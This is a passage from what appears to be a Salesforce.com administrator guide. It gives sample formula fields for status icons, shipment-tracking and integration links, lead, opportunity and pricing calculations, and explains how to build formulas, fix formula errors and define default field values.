Traffic Lights for Status


This formula displays a green, yellow, or red traffic light images to indicate status, using a custom picklist field called Project
Status. Use this formula in list views and reports to create a “Status Summary” dashboard view.

IMAGE(
CASE(Project_Status__c,
"Green", "/img/samples/light_green.gif",
"Yellow", "/img/samples/light_yellow.gif",
"Red", "/img/samples/light_red.gif",
"/s.gif"),
"status color")

For details about using these functions, see IMAGE on page 572 and CASE on page 561.

487
Customize About Formulas

Stars for Ratings


This formula displays a set of one to five stars to indicate a rating or score.

IMAGE(
CASE(Rating__c,
"1", "/img/samples/stars_100.gif",
"2", "/img/samples/stars_200.gif",
"3", "/img/samples/stars_300.gif",
"4", "/img/samples/stars_400.gif",
"5", "/img/samples/stars_500.gif",
"/img/samples/stars_000.gif"),
"rating")

For details about using these functions, see IMAGE on page 572 and CASE on page 561.

Consumer Reports™-Style Colored Circles for Ratings


This formula displays a colored circle to indicate a rating on a scale of one to five, where solid red is one, half red is two, black
outline is three, half black is four, and solid black is five.

IMAGE(
CASE(Rating__c,
"1", "/img/samples/rating1.gif",
"2", "/img/samples/rating2.gif",
"3", "/img/samples/rating3.gif",
"4", "/img/samples/rating4.gif",
"5", "/img/samples/rating5.gif",
"/s.gif"),
"rating")

For details about using these functions, see IMAGE on page 572 and CASE on page 561.

Horizontal Bars to Indicate Scoring


This formula displays a horizontal color bar (green on a white background) of a length that is proportional to a numeric score.
In this example, the maximum length of the bar is 200 pixels.

IMAGE("/img/samples/color_green.gif", "green", 15, Industry_Score__c * 2) &


IMAGE("/s.gif", "white", 15,
200 - (Industry_Score__c * 2))

For details about using this function, see IMAGE on page 572.

Integration Links

Application API Link


This formula creates a link to an application outside Salesforce.com, passing the parameters so that it can connect to
Salesforce.com via the Force.com Web Services API and create the necessary event.

HYPERLINK ("https://www.myintegration.com?sId=" & GETSESSIONID() & "?&rowID=" & Name &


"action=CreateTask","Create a Meeting Request")

For details about using these functions, see HYPERLINK on page 569 and GETSESSIONID on page 569.

488
Customize About Formulas

Shipment Tracking Integration


This formula creates a link to FedEx, UPS, or DHL shipment tracking websites, depending on the value of a Shipping
Method custom picklist field. Note that the parameters shown in this example for FedEx, UPS, and DHL websites are
illustrative and do not represent the correct parameters for all situations.

CASE(Shipping_Method__c,
"Fedex",
HYPERLINK("http://www.fedex.com/Tracking?ascend_header=1&clienttype
=dotcom&cntry_code=us&language=english&tracknumbers= "& tracking_id__c,"Track"),
"UPS",
HYPERLINK("http://wwwapps.ups.com/WebTracking/processInputRequest?HTMLVersion
=5.0&sort_by=status&loc=en_US&InquiryNumber1= "& tracking_id__c & "&track.x=32&track.y=7",
"Track") ,
"DHL",
HYPERLINK("http://track.dhl-usa.com/TrackByNbr.asp?ShipmentNumber=" & tracking_id__c,"Track"),
"")

For details about using these functions, see CASE on page 561 and HYPERLINK on page 569.

Skype Auto Dialer Integration


This formula creates a linkable phone number field that automatically dials the phone number via the Skype VOIP phone
application. It requires installation of the Skype application (a third-party product not provided by salesforce.com) on your
desktop.

HYPERLINK("callto://+" & Country_Code__c & Phone_Unformatted__c, Phone)

For details about using this function, see HYPERLINK on page 569.

Lead Management

Lead Aging (for open leads)


This formula checks to see if a lead is open and if so, calculates the number of days it has been open by subtracting the date
and time created from the current date and time. The result is the number of days open rounded to zero decimal places. If the
lead is not open, this field is blank.
IF(ISPICKVAL(Status, "Open"), ROUND(NOW()-CreatedDate, 0), null)
For details about using these functions, see IF on page 570, ISPICKVAL on page 579, ROUND on page 593, and NOW on
page 588.

Lead Data Completeness


This formula calculates the percent of certain lead fields that your sales personnel enter. The formula field checks the values
of two custom number fields: Phone and Email. If the fields are empty, the formula returns the value “0.” The formula returns
a value of “1” for each field that contains a value and multiplies this total by fifty to give you the percentage of fields that
contain data.

(IF(Phone = "", 0, 1) + IF(Email = "", 0, 1) ) * 50

For details about using this function, see IF on page 570.

489
Customize About Formulas

Lead Numbering
This formula returns a number value for the text value in the auto-number field Lead Number. This can be useful if you want
to use the Lead Number field in a calculation, such as round-robin or other routing purposes. Note that auto-number fields
are text fields and must be converted to a number for numeric calculations.

VALUE(Lead_Number__c)

For details about using this function, see VALUE on page 601.

Round Robin Assignment of Cases or Leads


The following formula example for leads assumes you have three lead queues and you want to assign an equal number of
incoming leads to each queue. You can also assign cases using a similar formula.
MOD(VALUE(Lead_Number__c), 3)
This formula is for a custom formula field named Round_Robin_ID that assigns each lead a value of 0, 1, or 2. This formula
uses a custom auto-number field called Lead Number that assigns each lead a sequential number starting with 1. The MOD
function divides the lead number by the number of lead queues available (three in this example) and returns a remainder of 0,
1, or 2. Use the value of this formula field in your lead assignment rules to assign lead records to different queues. For example:
• Round_Robin_ID = 0 is assigned to Queue A
• Round_Robin_ID = 1 is assigned to Queue B
• Round_Robin_ID = 2 is assigned to Queue C
For details about using these functions, see MOD on page 587 and VALUE on page 601.

Metrics

Temperature Conversion
This formula converts Celsius degrees to Fahrenheit.

1.8 * degrees_celsius__c + 32

For details about using these operators, see * (Multiply) on page 554 and + (Add) on page 553.

Unit of Measure Conversion


This formula converts kilometers to miles.

Miles__c/.621371192

For details about using this operator, see / (Divide) on page 554.

Opportunity Management

Days Left to Close


This formula returns the expected number of days left to the close date of an opportunity.

Expected_close_date__c -TODAY()

490
Customize About Formulas

For details about using this function, see TODAY on page 596.

Display Close Month for Reporting Purposes


This formula returns the month in text for the close date of an opportunity. Use this example when building a custom report
that groups opportunities by the month of the Close Date.

CASE(
MONTH(CloseDate),
1, "January",
2, "February",
3, "March",
4, "April",
5, "May",
6, "June",
7, "July",
8, "August",
9, "September",
10, "October",
11, "November",
12, "December",
"Invalid month")

For details about using these functions, see CASE on page 561 and MONTH on page 587.

Expected Product Revenue


This formula calculates total revenue from multiple products, each with a different probability of closing.

ProductA_probability__c * ProductA_revenue__c + ProductB_probability__c * ProductB_revenue__c

For details about using these operators, see * (Multiply) on page 554 and + (Add) on page 553.

Maintenance Calculation
This formula calculates maintenance fees as 20% of license fees per year. Maintenance Years is a custom field on
opportunities.

Amount * Maint_Years__c * 0.2

For details about using this operator, see * (Multiply) on page 554.

Monthly Subscription-Based Calculated Amounts


This formula calculates an opportunity amount based on a monthly subscription rate multiplied by the subscription period.

Monthly_Amount__c * Subscription_Months__c

For details about using this operator, see * (Multiply) on page 554.

Monthly Value
This formula divides total yearly value by 12 months.

Total_value__c / 12

For details about using this operator, see / (Divide) on page 554.

491
Customize About Formulas

Opportunity Additional Costs


This formula calculates the sum of the opportunity Amount, maintenance amount, and services fees. Note that Maint amount
and Service Fees are custom currency fields on opportunities.
Amount + Maint_Amount__c + Services_Amount__c

For details about using this operator, see + (Add) on page 553.

Opportunity Categorization
This formula uses conditional logic to populate an Opportunity category text field, based on the value of the Amount
standard field. Opportunities with amounts less than $1500 are “Category 1,” those between $1500 and $10000 are “Category
2,” and the rest are “Category 3.” This example uses nested IF statements.

IF(Amount < 1500, "Category 1", IF(Amount > 10000, "Category 3", "Category 2"))

For details about using this function, see IF on page 570.

Opportunity Data Completeness


This formula takes a group of opportunity fields and calculates what percent of them are being used by your sales personnel.
This formula field checks five fields to see if they are blank. If so, a zero is counted for that field. A “1” is counted for any field
that contains a value and this total is divided by five (the number of fields evaluated). Note that this formula requires you select
the Treat blank fields as blanks option under Blank Field Handling while the Advanced Formula subtab is showing.

(IF(ISBLANK(Maint_Amount__c), 0, 1) +
IF(ISBLANK(Services_Amount__c), 0,1) +
IF(ISBLANK(Discount_Percent__c), 0, 1) +
IF(ISBLANK(Amount), 0, 1) +
IF(ISBLANK(Timeline__c), 0, 1)) / 5

For details about using this function, see ISBLANK on page 575.

Opportunity Expected License Revenue


This formula calculates expected revenue for licenses based on probability of closing.

Expected_rev_licenses__c * Probability

For details about using this operator, see * (Multiply) on page 554.

Opportunity Reminder Date


This formula creates reminder date based on seven days before the close date of an opportunity. Use this formula field in a
workflow rule to create an event for the appropriate user to take action.

Reminder Date = CloseDate - 7

For details about using these operators, see = and == (Equal) on page 556 and - (Subtract) on page 554.

492
Customize About Formulas

Opportunity Revenue Text Display


This formula returns the expected revenue amount of an opportunity in text format without a dollar sign. For example, if the
Expected Revenue of a campaign is “$200,000,” this formula field displays “200000.”

TEXT(ExpectedRevenue)

For details about using this function, see TEXT on page 595.

Opportunity Split Credit for Sales Representatives


This formula splits opportunity amount between multiple sales representatives. The total reps custom field indicates the
total number of representatives on the deal.

Amount / total_reps__c

For details about using this operator, see / (Divide) on page 554.

Opportunity Total Deal Size


This formula calculates the sum of maintenance and services amounts.

Amount + Maint_Amount__c + Services_Amount__c

For details about using this operator, see + (Add) on page 553.

Opportunity Total Price Based on Units


This formula generates proposal pricing based on unit price and total volume.

Unit_price__c * Volume__c * 20

For details about using this operator, see * (Multiply) on page 554.

Professional Services Calculation


This formula estimates professional service fees at an average loaded rate of $1200 per day. Consulting Days is a custom
field on opportunities.

Consulting_Days__c * 1200

For details about using this operator, see * (Multiply) on page 554.

Stage-Based Sales Document Selection


This formula Identifies a relevant document in the Documents tab based on opportunity Stage. Use document IDs in the
form of “00l30000000j7AO.”

CASE(StageName,
"Prospecting", "Insert 1st Document ID",
"Qualification", "Insert 2nd Document ID",
"Needs Analysis", "Insert 3rd Document ID",
"Value Proposition", …
)
)

493
Customize About Formulas

For details about using this function, see CASE on page 561.

Sales Coach
This formula creates a hyperlink that opens a stage-specific document stored in the Documents tab. It uses the previously
defined custom formula field that identifies a document based on opportunity Stage. See Stage-Based Sales Document
Selection on page 493.

HYPERLINK("/servlet/servlet.FileDownload?file=" & Relevant_Document__c, "View Document in


New Window")

For details about using this function, see HYPERLINK on page 569.

Shipping Cost by Weight


This formula calculates postal charges based on weight.

package_weight__c * cost_lb__c

For details about using this operator, see * (Multiply) on page 554.

Shipping Cost Percentage


This formula calculates shipping cost as a fraction of total amount.

Ship_cost__c / total_amount__c

For details about using this operator, see / (Divide) on page 554.

Tiered Commission Rates


This formula calculates the 2% commission amount of an opportunity that has a probability of 100%. All other opportunities
will have a commission value of zero.

IF(Probability = 1,
ROUND(Amount * 0.02, 2),
0)

For details about using these functions, see IF on page 570 and ROUND on page 593.

Total Contract Value from Recurring and Non-Recurring Revenue


This formula calculates both recurring and non-recurring revenue streams over the lifetime of a contract.

Non_Recurring_Revenue__c + Contract_Length_Months__c * Recurring_Revenue__c

For details about using these operators, see + (Add) on page 553 and * (Multiply) on page 554.

494
Customize About Formulas

Pricing

Total Amount
This formula calculates a total amount based on unit pricing and total units.

Unit_price__c * Total_units__c

For details about using this operator, see * (Multiply) on page 554.

User Pricing
This formula calculates a price per user license.

Total_license_rev__c / Number_user_licenses__c

For details about using this operator, see / (Divide) on page 554.

Project Management

Calculate Intermediate Milestone from End Date


This formula calculates intermediate milestone dates by subtracting days from the end date (for projects that are planned based
on end date).

Release_Date__c - 7 * Phase_duration_in_weeks__c

For details about using this operator, see * (Multiply) on page 554.

Scoring Calculations

Lead Scoring
This formula scores leads, providing a higher score for phone calls than website requests.

CASE(LeadSource, "Phone", 2, "Web", 1, 0)

For details about using this function, see CASE on page 561.

Customer Success Scoring


This formula uses a simple scoring algorithm to rank customers a high score for positive survey results in Salesforce.com.

Survey_Question_1__c * 5 + Survey_Question_2__c *2

For details about using these operators, see* (Multiply) on page 554 and + (Add) on page 553.

495
Customize About Formulas

Using Formulas in Salesforce.com


Many areas in Salesforce.com use formulas. Before you begin using formulas, review the differences between the following
uses for formulas:
Approval Processes
Defines the criteria a record must match to enter an approval process

Approval Steps
Defines the criteria a record must match to enter a step in an approval process

Assignment Rules for Leads and Cases


Specifies conditions that a lead or case must match for it to be assigned

Auto-Response Rules for Leads and Cases


Defines the criteria a lead or case must match to trigger an auto-response rule

Case Escalation Rules


Specifies conditions that a case must match for it to be escalated

Default Field Values


Automatically inserts a value in a custom field when a record is first created
Users can change a default value if they wish. Default field values can be based on a formula using values, merge fields,
or expressions you specify.

Formula Fields
Automatically calculates the value of a custom field using the values, merge fields, or expressions you specify
Users cannot change the value of a formula field.

Validation Rules
Prevents users from entering an invalid value in a standard or custom field
Validation rules can be based on formulas and display an error message to the user when the value they enter is not valid
for that field.

Workflow Rules
Defines the criteria a record must meet to trigger a workflow rule

Field Updates
Automatically changes the value of a field to a value you specify
You can set field updates to occur as a result of a workflow rule or an approval process.

Custom Summary Formulas in Reports


Automatically calculates additional totals based on existing report summaries using the values, merge fields, or expressions
you specify
Users cannot change these totals.

496
Customize Building Formulas

Default Field Formula Fields Validation Workflow Field Updates Custom


Values Rules Rules and Summary
Approval Formulas for
Processes Reports
When are they Record creation Record display Record save Record save Workflow or Report display
executed? approval process
Read only? No Yes Not applicable Not applicable Not applicable Yes
Can include Yes Yes Yes Yes Yes Yes, a limited
functions? subset of
functions
Can specify null No Yes No No No Yes
handling?
Can include No Yes Yes Yes Yes No
references to
parent merge
fields?

See Also:
Defining Default Field Values
Building Formulas
Defining Field Updates
Building Custom Summary Formulas

Building Formulas
Available in: All Editions

User Permissions Needed


To view formula field details: “View Setup and Configuration”
To create, change, or delete formula fields: “Customize Application”

Your custom formula fields require special attributes. To build your formula:

1. Begin building a formula field the same way you create a custom field. See Adding Fields and Relationships on page 440.
2. Select the data type for the formula. Choose the appropriate data type for your formula based on the output of your
calculation. See Choosing a Formula Data Type on page 468.
3. Choose the number of decimal places for currency, number, or percent data types. This setting is ignored for currency
fields in multicurrency organizations. Instead, the Decimal Places for your currency setting apply.

497
Customize Building Formulas

4. Click Next.
5. Build your formula:

a. If you are building a formula in the Advanced Formula tab or for approvals or rules, such as workflow, validation,
assignment, auto-response, or escalation, click Insert Field, choose a field, and click Insert.
To create a basic formula that passes specific Salesforce.com data, select the Simple Formula tab, choose the field type
in the Select Field Type drop-down list, and choose one of the fields listed in the Insert Field drop-down
list.
Tip: Build cross-object formulas to span to related objects and reference merge fields on those objects.

b. To insert an operator, choose the appropriate operator icon from the Insert Operator drop-down list. Use the
examples in Operators and Functions on page 548.
c. Optionally, click the Advanced Formula tab to use functions and view additional operators and merge fields. Functions
are prebuilt formulas that you can customize with your input parameters. For a description of each operator and function,
see Operators and Functions on page 548.
d. To insert a function, double-click its name in the list, or select it and click Insert Selected Function. To filter the list
of functions, choose a category from the Functions drop-down list. Select a function and click Help on this function
to view a description and examples of formulas using that function.
e. Consider adding comments to your formula, especially if it is complicated. Comments must begin with a forward slash
followed by and asterisk (/*), and conclude with an asterisk followed by a forward slash (*/).
Comments are useful for explaining specific parts of a formula to administrators viewing the formula definition. For
example:

AND(
/*competitor field is required, check to see if field is empty */
LEN(Competitor__c) = 0,
/* rule only enforced for ABCD record types */
$RecordType.Name = "ABCD Opportunity",
/* checking for any closed status, such as closed won and closed lost…allows for
additional closed picklist values in the future */
CONTAINS(TEXT(StageName), "Closed")
)

You can also use comments to comment out sections of your formula when debugging and checking the syntax to locate
errors in the formula.
Note:

• Nesting comments causes a syntax error. For example, you cannot save a formula that has the following:

/* /* comment */ */

• Commenting out a whole formula causes a syntax error.


• Comments count against the character and byte size limits in formulas.

Caution: Your formula cannot contain more than 3900 characters.

498
Customize Building Formulas

6. Click Check Syntax to check your formula for errors.


7. Optionally, enter a description of the formula in the Description box.
8. If your formula references any number, currency, or percent fields, choose an option for handling blank fields. To give any
blank fields a zero value, choose Treat blank fields as zeros. To leave these fields blank, choose Treat blank
fields as blanks.
9. Click Next.
10. In Enterprise, Unlimited, and Developer Editions, set the field-level security to determine whether the field should be
visible for specific profiles, and click Next.
11. Choose the page layouts that should display the field. The field is added as the last field in the first two-column section
on the page layout. For user custom fields, the field is automatically added to the bottom of the user detail page.
12. Click Save to finish or Save & New to create more custom fields.

Note: Because formula fields are automatically calculated, they are read-only on record detail pages and do not update
last modified date fields. Formula fields are not visible on edit pages.
In account formulas, all business account fields are available as merge fields. However, account fields exclusive to
person accounts such as Birthdate and Email are not available. For more information, see What is a Person Account?
on page 1125.

See Also:
About Formulas
Operators and Functions
Elements of a Formula
Formulas: How Do I...
Tips on Building Formulas
Fixing Formula Errors
Building Custom Summary Formulas
Understanding Global Variables
Quick Reference Guide: Formula Fields

Tips on Building Formulas


• Default value formulas for a type of record can only reference fields for that type of record. However, formula fields and
formulas for approvals or rules, such as workflow, validation, assignment, auto-response, or escalation, for a type of record
can reference fields for that type of record as well as any records that are related through a lookup or master-detail
relationship. For example, a formula for a validation rule on opportunities can reference merge fields for accounts and
campaigns as well as opportunities, and a formula field on accounts can reference fields for cases.
• Formula fields that a user can see may reference fields that are hidden or read only using field-level security. If the formula
field contains sensitive information, use field-level security to hide it. See Setting Field-Level Security on page 217.
• The following limits apply to formula fields:

- Character limit—Formula fields can contain up to 3900 characters, including spaces, return characters, and comments.
If your formula requires more characters, create separate formula fields and reference them in another formula field.
- Save size limit—Formula fields cannot exceed 4000 bytes when saved. The save size differs from the number of characters
if you use multi-byte characters in your formula.

499
Customize Building Formulas

- Compile size limit—Formula fields cannot exceed 5000 bytes when compiled. The compile size is the size of the
formula (in bytes) including all of the fields, values, and formulas it references. There is no direct correlation between
the compile size and the character. Some functions, such as TEXT, DATEVALUE, and DATE significantly increase
the compile size.

• Long text area and Description fields are not available for use in formulas.
• The value of a field cannot depend on another formula that references it.
• Fields referenced in formulas cannot be deleted. Remove the field from the formula before deleting it.
• Task Due Date is not available for use in formulas.
• Campaign statistic fields cannot be referenced in formulas for field updates, approval processes, workflow rules, or validation
rules, but can be referenced in custom formula fields. For more information, see Campaign Fields on page 1310.
• You can add activity formula fields to task and event page layouts. Note that a task-related formula field on an event page
layout may not be useful. Likewise, event-related formula fields on task page layouts may not be useful.
• Use the IsTask merge field to determine if a record is a task or event. For example, the following formula displays text
indicating if the record is a task or event:

IF(IsTask, "This is a task", "This is an event")

• To reference the unique identifier for your Salesforce.com organization in a formula, insert the $Organization.Id
merge field. This merge field can display anywhere formula fields can except inreports.
• Some merge fields display as radio buttons but function like picklist fields when referenced in a formula. Use the values
“Read,” “Edit,” and “None” when referencing the following merge fields in a formula:

- $UserRole.CaseAccessForAccountOwner
- $UserRole.OpportunityAccessForAccountOwner
- CaseAccessLevel (on Territory)
- OpportunityAccessLevel (on Territory)

Use the values “Read,” “Edit,” and “All” when referencing the following merge fields in a formula:

- AccountAccessLevel (on Territory)

• If you create a contacts formula field that references account merge fields, that field can be included in contact page layouts
but should not be included in person accounts page layouts. The formula field will display a value of #Error on the person
accounts page.

Working with Date and Date/Time Fields


• Dates and times are always calculated using the user’s time zone.
• Date and date/time fields cannot be used interchangeably. The name alone may not indicate if a field is a date or date/time.
For example, Created Date and Last Modified Date are date/time fields whereas Last Activity Date is a
date field. Use the DATEVALUE function to convert a date/time field into a date field.
• Use addition and subtraction operators with date or date/time fields to calculate duration. For example, subtract a date
from another date to calculate the number of days between the two. Likewise, you can subtract the date/time from another
date/time to get the number of days between the two in the form of a number. See NOW on page 588 or TODAY on page
596 for suggested use.
• Use addition and subtraction operators with numbers to return another date or date/time. For example, {!CreatedDate}
+ 5 calculates the date and time five days after a record’s created date. Note that the expression returns the same data type
as the one given; a date field plus or minus a number returns a date, and a date/time field plus or minus a number returns
a date/time.
• When calculating dates using fractions, Salesforce.com ignores any numbers beyond the decimal. For example:

500
Customize Building Formulas

TODAY() + 0.7 is the same as TODAY() + 0, which is today’s date


TODAY() + 1.7 is the same asTODAY() + 1, which is tomorrow’s date
TODAY() + (-1.8) is the same as TODAY() + (-1), which is yesterday’s date
• To calculate the value of two fractions first, group them within parentheses. For example:
TODAY() + 0.5 + 0.5 is the same as TODAY() + 0 + 0, which is today’s date
TODAY() + (0.5+0.5) is the same as TODAY() + 1, which is tomorrow’s date
• Years cannot be zero and must be between -4713 and 9999.

Working with Text Fields


• Before using the HYPERLINK function, consider the differences between hyperlinks and custom links.
- Hyperlink formula fields are just like other custom fields that you can display in list views and reports.
- Custom links display on detail pages in a predefined section; hyperlink formula fields can display on a detail page
wherever you specify.
- Using custom links, you can specify display properties such as window position and opening in a separate popup position;
hyperlink formula fields open in a new browser window by default or you can specify a different target window or frame.
- Your formulas can reference custom links. Before deleting a custom link, make sure it is not referenced in a formula
field.
- Hyperlink formula fields that contain relative URLs to Salesforce.com pages, such as /rpt/reportwizard.jsp,
can be added to list views, reports, and related lists. However, use a complete URL, including the server name and
https://, in your hyperlink formula before adding it to a search layout. Note that formula fields are not available in
search result layouts.

• To insert text in your formula field, surround the text with quotation marks. For example, to display “CASE: 123,” use
this formula "CASE: "& CaseNumber__c.
• Use the backslash (\) character before a quote or backslash to insert it as a literal value in your output. For example,
"Trouble\\Case \"Ticket\": " in your formula displays Trouble\Case "Ticket": on detail pages.

Working with Number Fields


• Use the decimal version of a percent when working with percent fields in formulas. For example, IF(Probability
=1...) for 100% probability or IF(Probability =0.9...) for 90% probability.
• Reference auto-number fields as text fields in formulas.
• The output of your formula must be less than 19 digits. See Fixing Formula Errors on page 503.
• Formulas can contain a mix of numbers, percents, and currencies as in this example: AnnualRevenue /
NumberOfEmployees.

Working with Cross-Object Formulas


• Cross-object formulas that reference currency fields convert the value to the currency of the record that contains the formula.
• Salesforce.com allows a maximum of ten unique relationships per object in cross-object formulas. The limit is cumulative
across all formula fields, rules, and lookup filters. For example, if two different formulas on opportunities reference two
different fields of an associated account, only one unique relationship exists (from opportunities to accounts).
• You cannot reference cross-object formulas in roll-up summary fields.
• In cross-object formulas, you cannot reference merge fields for objects related to activities. For example, merge fields for
contacts and accounts are not available in task and event formulas.
• In cross-object formulas, you cannot reference record owner merge fields for any object. For example, the opportunity
owner's Role merge field is not available in opportunity formulas.

501
Customize Building Formulas

Working with Picklists and Multi-Select Picklists


• You can use special picklist fields in your formulas, such as IsEscalated for cases and IsWon for opportunities.
• Picklist fields can only be used in the following functions:
- ISPICKVAL—Compares the value of a picklist to a single value.
- CASE—Compares the value of a picklist to multiple values.
- TEXT—Converts a picklist value into a text value so that you can work with the value in functions that support text
value, such as CONTAINS. (Only available in formula fields, validation rules, and workflow field updates.)

• The TEXT function always returns picklist values in your organization's master language, not the language of the current
user.
• Multi-select picklist fields can only be used in the following functions:
- INCLUDES
- ISBLANK
- ISNULL
- ISCHANGED (Only in assignment rules, validation rules, workflow field updates, and workflow rules in which the
trigger type is set to Every time a record is created or edited)
- PRIORVALUE (Only in assignment rules, validation rules, workflow field updates, and workflow rules in which the
trigger type is set to Every time a record is created or edited)

See Also:
Building Formulas
Fixing Formula Errors

What are Cross-Object Formulas?


Available in: All Editions

User Permissions Needed


To create or change cross-object formulas: “Customize Application”

Cross-object formulas are formulas that span to related objects and reference merge fields on those objects. Cross-object formulas
can reference merge fields from a master (“parent”) object if an object is on the detail side of a master-detail relationship, or
from another object if a lookup relationship to that object exists on the current object. You can reference fields from objects
that are up to ten relationships away. Cross-object formulas are available anywhere formulas are used except when creating
default values.
To create a cross-object formula when building a formula in the Simple Formula tab, enter the relationship names of the
objects to which you are spanning followed by the field you want to reference. Separate the relationship names of each object
and the field with periods. For example, enter Contact.Account.Name to reference the Account Name for a contact
associated with a case in a formula field on the Case object. Be sure to use the relationship names of the objects, not the labels.
Although the relationship name is often the same as the object name, it is technically the field name of the relationship field.
For example, to reference the parent account name from Account object, the syntax is Parent.Name, not Account.Name.

502
Customize Building Formulas

Also, when referencing a custom object, add two underscores and the letter r to its name. For example,
Position__r.title__c references the Job Title field (title__c) on a Position custom object.

To create a cross-object formula when building a formula in the Advanced Formula tab or for approvals or rules, such as
workflow, validation, assignment, auto-response, or escalation rules, click Insert, then click the related object to list its fields.
Related objects are denoted by a “>” sign.
Note: The value of the Profile.Name merge field differs depending on the context of the cross-object formula field
that references it. On detail pages, the value is the profile name, as expected; however, in list views and reports, the
value is the internal value of the associated profile instead. If you use Profile.Name in a formula, use it within an
OR function to ensure the formula always returns the intended result. For example:

IF
(OR
(LastModifiedBy.Profile.Name = "Standard User", LastModifiedBy.Profile.Name
= "PT2"),
"Standard", "Not Standard")

None of the above applies to profile names referenced by the $Profile global variable.

See Also:
Building Formulas
Operators and Functions

Fixing Formula Errors


Available in: All Editions

User Permissions Needed


To view formula field details: “View Setup and Configuration”
To create, change, or delete formula fields: “Customize Application”

• “#Error!” displays for a formula field whenever an error occurs while calculating the value of a formula. To resolve the
error, check your formula:

- Is the formula dividing by zero? If so, check if the denominator of your expression is zero and provide an alternative
value. For example, the following campaign formula field is blank if the number of opportunities is zero:

IF(NumberOfOpportunities > 0,
NumberOfWonOpportunities / NumberOfOpportunities, null)

- Is the formula calculating the square root of a negative number? If so, use an IF function similar to the one above to
check if the value is a positive number.
- Is the formula calculating the LOG of a negative number? If so, use an IF function similar to the one above to make
sure that the number is positive.

503
Customize Defining Default Field Values

- Is the formula using the VALUE function with text that contains special characters? For examples of special characters,
see Operators and Functions on page 548.
- Make sure the formula does not contain a HYPERLINK function within a text function, such as LEFT(
HYPERLINK("http://Salesforce.com ", "Salesforce.com ") , 5).
- Is the formula disabled or referencing a disabled formula field? Salesforce.com disables formula fields when they are
deleted and they remain disabled after they are restored. To enable disabled formula fields, edit and save the field. For
more information on deleted custom fields and restoring them, see Managing Deleted Custom Fields on page 462.

• “#Too Big!” displays if your formula output is over 18 digits. When this happens, check your formula for calculations that
could result in more than 18 digits. Avoid multiplying large numbers, raising a large number to a power, or dividing by a
very small number.
• CASE functions return an error whenever any of the expressions return an error, regardless of which one should be returned.
For example, CASE(Field__c,"Partner", "P", "Customer", "C", LEFT(Field__c, -5)) returns an error
even if the value of the field is “Partner” or “Customer” because the last statement is illogical.
• Prevent division by zero errors by including an IF function that determines if the value of a field is zero. For example,
IF(Field__c =0,0, 25/Field__c).

Defining Default Field Values


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view default field values: “View Setup and Configuration”
To define or change default field values: “Customize Application”

To define a default field value:

1. Begin by creating a custom field; see Adding Fields and Relationships on page 440. You can also define a default value for
an existing custom field; see Editing Fields on page 449.
2. Choose the type of field to create and click Next. For a list of the types available for default values, see About Default Field
Values on page 505.
3. Enter the attributes for the field.
4. Enter a default value or define a formula to calculate the default value:

a. Click Show Formula Editor to view the formula editor.


b. If you are building a formula in the Advanced Formula tab or for approvals or rules, such as workflow, validation,
assignment, auto-response, or escalation, click Insert Field, choose a field, and click Insert.
To create a basic formula that passes specific Salesforce.com data, select the Simple Formula tab, choose the field type
in the Select Field Type drop-down list, and choose one of the fields listed in the Insert Field drop-down
list.
Tip: Build cross-object formulas to span to related objects and reference merge fields on those objects.

504
Customize Defining Default Field Values

c. To insert an operator, choose the appropriate operator icon from the Insert Operator drop-down list. Use the
examples in Operators and Functions on page 548.
d. Double-click a function to insert it in your formula. For a description of each operator and function, see Operators and
Functions on page 548.
e. Click Check Syntax to check your formula for errors.

Note: You can define a formula for default values only where appropriate. For example, the default value options
for picklist and checkbox fields are limited to the options available for those types of fields, such as Checked,
Unchecked, or Use first value as default value.

5. Click Next.
6. In Enterprise, Unlimited, and Developer Editions, set the field-level security to determine whether the field should be
visible for specific profiles, and click Next.
7. Choose the page layouts that should display the field. The field is added as the last field in the first two-column section
on the page layout. For user custom fields, the field is automatically added to the bottom of the user detail page.
8. Click Save to finish or Save & New to create more custom fields.
Note: You must specify a default value for required campaign member custom fields.
Default values should not be assigned to fields that are both required and unique, as uniqueness errors may result.

See Also:
About Default Field Values
Default Field Value Considerations
Useful Default Field Value Formulas

About Default Field Values


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Use default field values to make your users more productive by reducing the number of fields they need to fill in manually.
Default field values automatically insert the value of a custom field when a new record is created. A default value can be based
on a formula for some types of fields or exact values such as Checked or Unchecked for checkbox fields.
After you have defined default values:

1. The user chooses to create a new record.


2. Default field value is executed.
3. Salesforce.com displays the edit page with the default field value pre-populated.
4. The user enters the fields for the new record.
5. The user saves the new record.

The user can change the field's value but the initial default field value is only executed once, during record creation. For
example, you can set the default field value on a custom lead field to seven days after the creation date to signify when to
contact the lead again. You can change this value later, but you cannot automatically restore the value that was seven days after
the creation date.

505
Customize Defining Default Field Values

Set up default field values for the following types of custom fields:

• Checkbox
• Currency
• Date
• Date/Time
• Email
• Number
• Percent
• Phone
• Picklist (use the default option when setting up the picklist)
• Text
• Text Area
• URL
For a description of these types, see Custom Field Types on page 442.

See Also:
Defining Default Field Values
Default Field Value Considerations
Useful Default Field Value Formulas

Useful Default Field Value Formulas


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view default field values: “View Setup and Configuration”
To define or change default field values: “Customize Application”

Maximum Discount Rate


Your organization my apply different discount rates to opportunities based on the department of the person creating the
opportunity. Use the following example to set a default value for a custom field called Discount Rate on opportunities.

CASE(User.Department, "IT", 0.25, "Field", 0.15, 0)

In this example, the formula inserts a discount rate of 25% on any opportunity created by a user in the “IT” department or
15% on any opportunity created by someone in the “Field” department. A zero is applied if the creator does not belong to
either of these departments. This is a custom percent field on opportunities that uses the standard user field Department.
For more information on using this function, see CASE on page 561.

506
Customize Defining Default Field Values

Product Language
You may want to associate a product with its language so that your users know the type of documentation or adapter to include.
Use the following default value formula to automatically set the language of a product based on the country of the user creating
the product. In this example, the default value is “Japanese” if the user's country is “Japan” and “English” if the user's country
is “US.” If neither is true, the default value “unknown” is inserted into the Product Language field.

CASE($User.Country , "Japan", "Japanese", "US", "English","unknown")

For more information on using this function, see CASE on page 561.

Tax Rate
Use this default value formula to set the tax rate of an asset based on the user's city. Create a custom percent field with the
following default value:

IF($User.City = "Napa", 0.0750,


IF($User.City = "Paso Robles", 0.0725,
IF($User.City = "Sutter Creek", 0.0725,
IF($User.City = "Los Olivos", 0.0750,
IF($User.City = "Livermore", 0.0875, null
)
)
)
)
)

In this example, a tax rate of 8.75% is applied to an asset when the user's address is in the city of Livermore. When none of
